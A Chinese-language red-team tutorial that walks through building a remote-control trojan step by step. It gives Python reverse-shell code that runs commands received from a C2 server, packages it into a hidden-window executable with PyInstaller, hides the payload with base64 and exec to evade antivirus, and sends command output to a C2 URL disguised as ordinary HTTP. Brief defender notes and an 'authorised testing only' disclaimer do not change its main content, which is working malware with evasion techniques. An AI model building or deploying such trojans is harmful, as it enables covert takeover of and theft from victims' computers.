0x01 从防御思路逆推攻击路径

在日常安全防护中，远控木马往往是安全团队重点关注的威胁类型，因为这种工具为攻击者提供了对受害者系统的完全控制权。防御者通常通过杀毒软件、EDR（终端检测与响应）、网络流量分析等方式检测和阻断这类威胁。

但作为一名红队成员，如果我们的目标是绕过这些防线并成功控制目标系统，那么我们需要从防守的角度入手，反向分析攻击的全链条：木马是如何进入目标系统的？如何在不被发现的情况下启动并稳定运作？如何实现持久化？如何与攻击者的C2（Command & Control）服务器通信？

防御的重点，往往也是我们绕过的方向。以下是防御者可能重点关注的几个切入点以及如何绕过这些策略的攻击思路：

黑客示意图

  1. 文件检测：防御者会通过特征码扫描(Unguided Signature Scanning)来发现恶意文件。红队需要通过文件混淆、加密甚至无文件化（fileless）的技术对抗。
  2. 行为分析：防御者关注异常的进程行为，红队需通过流量伪装、行为模拟来规避异常行为检测。
  3. 网络流量：目标C2流量很容易被防火墙或流量分析工具识别，因此需要将恶意流量伪装成正常的HTTPS流量，甚至DNS通信。

从攻击者角度看，这些挑战都可以转化为具体的技术任务。而本文的目标就是展示如何构建一款基本的电脑远控木马，并逐步优化其免杀能力，教你如何像一名真正的攻击者一样思考。

---

0x02 环境搭建：准备好你的“靶场”

为了保证实验效果，我们需要搭建一个隔离的环境。如下是实验环境的基本配置：

主机配置

  • 攻击机：Kali Linux
  • 工具：Metasploit、Cobalt Strike、Python、PowerShell
  • 靶机：Windows 10（未安装任何杀毒软件）

软件与工具

  • Python 3.x：用于编写木马
  • PyInstaller：将Python脚本打包成可执行文件
  • PowerShell：用于加载payload或执行命令
  • Ngrok：用于外网穿透

黑客示意图

网络设置

为了完整模拟攻击环境，你需要确保靶机和攻击机能够互相通信。如果你使用虚拟机，可以选择NAT模式或桥接模式，具体取决于你的需求。

搭建完成后，确认以下连接是否正常：

  1. Kali攻击机可以Ping通Windows靶机。
  2. Windows靶机可以访问Kali上的C2服务器。
  3. Ngrok的公网地址可以被靶机访问。

---

0x03 手把手教你构造恶意Payload

设计目标

我们需要构造一个基础的远控木马，它具备以下功能：

  1. 在目标机器上运行并建立一个反向Shell连接。
  2. 支持远程命令执行和文件管理。
  3. 避免被杀毒软件直接识别。

核心代码实现

以下是一个使用Python构造的基础反向Shell代码：

<pre><code class="language-python">import socket import subprocess import os

def connect_to_c2(server_ip, server_port): try:

创建Socket对象

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((server_ip, server_port))

while True:

接收命令

command = client.recv(1024).decode(&#039;utf-8&#039;) if command.lower() == &quot;exit&quot;: break

执行命令

output = subprocess.getoutput(command) if not output: output = &quot;Command executed, but no output.&quot;

结果发送回C2

client.sendall(output.encode(&#039;utf-8&#039;)) except Exception as e: client.sendall(f&quot;Error: {str(e)}&quot;.encode(&#039;utf-8&#039;)) client.close()

if __name__ == &quot;__main__&quot;:

修改成你的C2服务器地址

C2_IP = &quot;127.0.0.1&quot; C2_PORT = 4444

connect_to_c2(C2_IP, C2_PORT)</code></pre>

核心功能说明

  1. Socket通信：木马会主动连接攻击者的C2服务器，建立双向通信通道。
  2. 命令执行：通过subprocess.getoutput执行目标机器上的命令，并将结果发送回C2。
  3. 异常捕获：确保木马在运行中不会因为错误而退出。

打包成可执行文件

使用PyInstaller将上述Python脚本打包成exe文件，方便在Windows上运行： <pre><code class="language-bash">pyinstaller --onefile --noconsole shell.py</code></pre>

参数说明：

  • --onefile：打包为单个可执行文件。
  • --noconsole：隐藏运行时的命令行窗口，避免被用户发现。

打包完成后，dist目录中会生成一个可执行文件，直接将其传输到靶机即可。

---

0x04 绕过检测的第一步：免杀技巧初探

特征免杀

Antivirus工具通常是通过静态特征码来检测恶意文件的。因此，我们需要对代码进行混淆或加密以规避检测。

以下是一种简单的混淆方式，使用Base64加密Payload，再在运行时解密执行：

<pre><code class="language-python">import base64 import socket import subprocess

原始Payload加密

payload = &quot;&quot;&quot; aW1wb3J0IHNvY2tldApjbGllbnQgPSBzb2NrZXQu c29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQu U09DS19TVFJFQU0pCmNsaWVudC5jb25uZWN0KCgy MjIuMjIyLjIyMiwyMjIpKQ== &quot;&quot;&quot;

解密并执行

exec(base64.b64decode(payload).decode(&#039;utf-8&#039;))</code></pre>

行为免杀

如果木马的行为特征显著，仍然可能被检测到。以下是几个修改行为的思路：

  1. 增加延时启动：让木马运行时延迟启动，避免触发行为检测。
  2. 伪装合法行为：模拟常见的Windows进程行为，例如通过svchost.exe创建子进程。
  3. 网络流量伪装：将C2通信伪装成HTTPS或DNS流量。

---

0x05 网络流量伪装：从细节开始隐身

为了规避流量分析，我们需要将木马的通信流量伪装成看似无害的流量。以下是一种简单的HTTP伪装方式：

<pre><code class="language-python">import requests

def send_to_c2_as_http(server_url, command_output): headers = { &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64)&quot; } data = { &quot;output&quot;: command_output } requests.post(server_url, headers=headers, data=data)

示例用法

server_url = &quot;http://example.com/c2&quot; send_to_c2_as_http(server_url, &quot;Command execution result: test&quot;)</code></pre>

---

0x06 防御者如何发现并阻断攻击

即使木马设计得再隐蔽，防御者仍然有方法对其进行检测和阻断。以下是几个可能的对抗思路：

黑客示意图

  1. 静态分析：通过反编译分析木马的特征，例如字符串、API调用。
  2. 行为分析：监控进程启动、文件读写和网络通信行为。
  3. 流量分析：通过IDS/IPS检测异常的通信流量模式。

---

0x07 红队经验谈

在实际红队行动中，远控木马的设计细节往往决定了任务的成败。以下是个人的一些经验总结：

  1. 小而精简：木马的功能不需要复杂，越简单的代码越不容易被检测。
  2. 动态适应：根据目标环境实时调整木马行为，例如更改C2的通信方式。
  3. 快速迭代：一旦被检测到，迅速调整代码并重新部署。

最后提醒大家，本文内容仅限于授权的安全测试，请勿非法使用。